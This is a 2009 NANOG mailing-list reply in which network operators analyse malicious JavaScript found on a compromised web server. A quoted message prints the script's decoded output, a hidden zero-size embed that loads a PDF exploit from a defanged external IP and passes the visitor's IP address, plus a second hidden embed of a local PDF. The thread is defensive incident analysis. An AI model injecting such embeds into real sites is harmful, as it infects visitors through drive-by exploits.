[113647] in North American Network Operators' Group
Re: Malicious code just found on web server
daemon@ATHENA.MIT.EDU (Chris Mills)
Fri Apr 17 18:35:00 2009
In-Reply-To: <6cd462c00904171531y5aafa1e3y34022919b58e11db@mail.gmail.com>
Date: Fri, 17 Apr 2009 18:34:54 -0400
From: Chris Mills <securinate@gmail.com>
To: Paul Ferguson <fergdawgster@gmail.com>
Cc: "nanog@nanog.org" <nanog@nanog.org>, Russell Berg <berg@wins.net>
Errors-To: nanog-bounces@nanog.org
You beat me to it.
-ChrisAM
On Fri, Apr 17, 2009 at 6:31 PM, Paul Ferguson <fergdawgster@gmail.com> wro=
te:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> On Fri, Apr 17, 2009 at 3:15 PM, Paul Ferguson <fergdawgster@gmail.com>
> wrote:
>
>>
>> On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills <securinate@gmail.com>
>> wrote:
>>
>>> I took a quick look at the code... formatted it in a pastebin here:
>>> http://pastebin.com/m7b50be54
>>>
>>> That javascript writes this to the page (URL obscured):
>>> document.write("<embed
>>> src=3D\"hXXp://77.92.158.122/webmail/inc/web/include/spl.php?stat=3DUnk=
nown|
>>> U nknown|US|1.2.3.4\" width=3D\"0\" height=3D\"0\"
>>> type=3D\"application/pdf\"></embed>");
>>>
>>> The 1.2.3.4 in the URL is my public IP address (I changed that).
>>>
>>> Below the javascript, it grabs a PDF:
>>> <embed src=3D"include/two.pdf" width=3D"1" height=3D"0"
>>> style=3D"border:none"></embed>
>>>
>>> That PDF is on the site, I haven't looked at it yet though.
>>>
>>
>> Most likely a file that exploits a well-known vulnerability in Adobe
>> Reader, which in turn probably loads malware from yet another location.
>>
>> We've been seeing a lot of this lately.
>>
>
> Yes, definitely malicious:
>
> http://www.virustotal.com/analisis/89db7dec6cc786227462c947e4cb4a9b
>
> - - ferg
>
> -----BEGIN PGP SIGNATURE-----
> Version: PGP Desktop 9.5.3 (Build 5003)
>
> wj8DBQFJ6QMwq1pz9mNUZTMRAqJZAKCEkD0KcifnJIhtex4nP6grIFGKzwCgnE1w
> /K0hKsJiAz4RGu8VQkyP+js=3D
> =3DAzJq
> -----END PGP SIGNATURE-----
>
>
>
> --
> "Fergie", a.k.a. Paul Ferguson
> =A0Engineering Architecture for the Internet
> =A0fergdawgster(at)gmail.com
> =A0ferg's tech blog: http://fergdawg.blogspot.com/
>
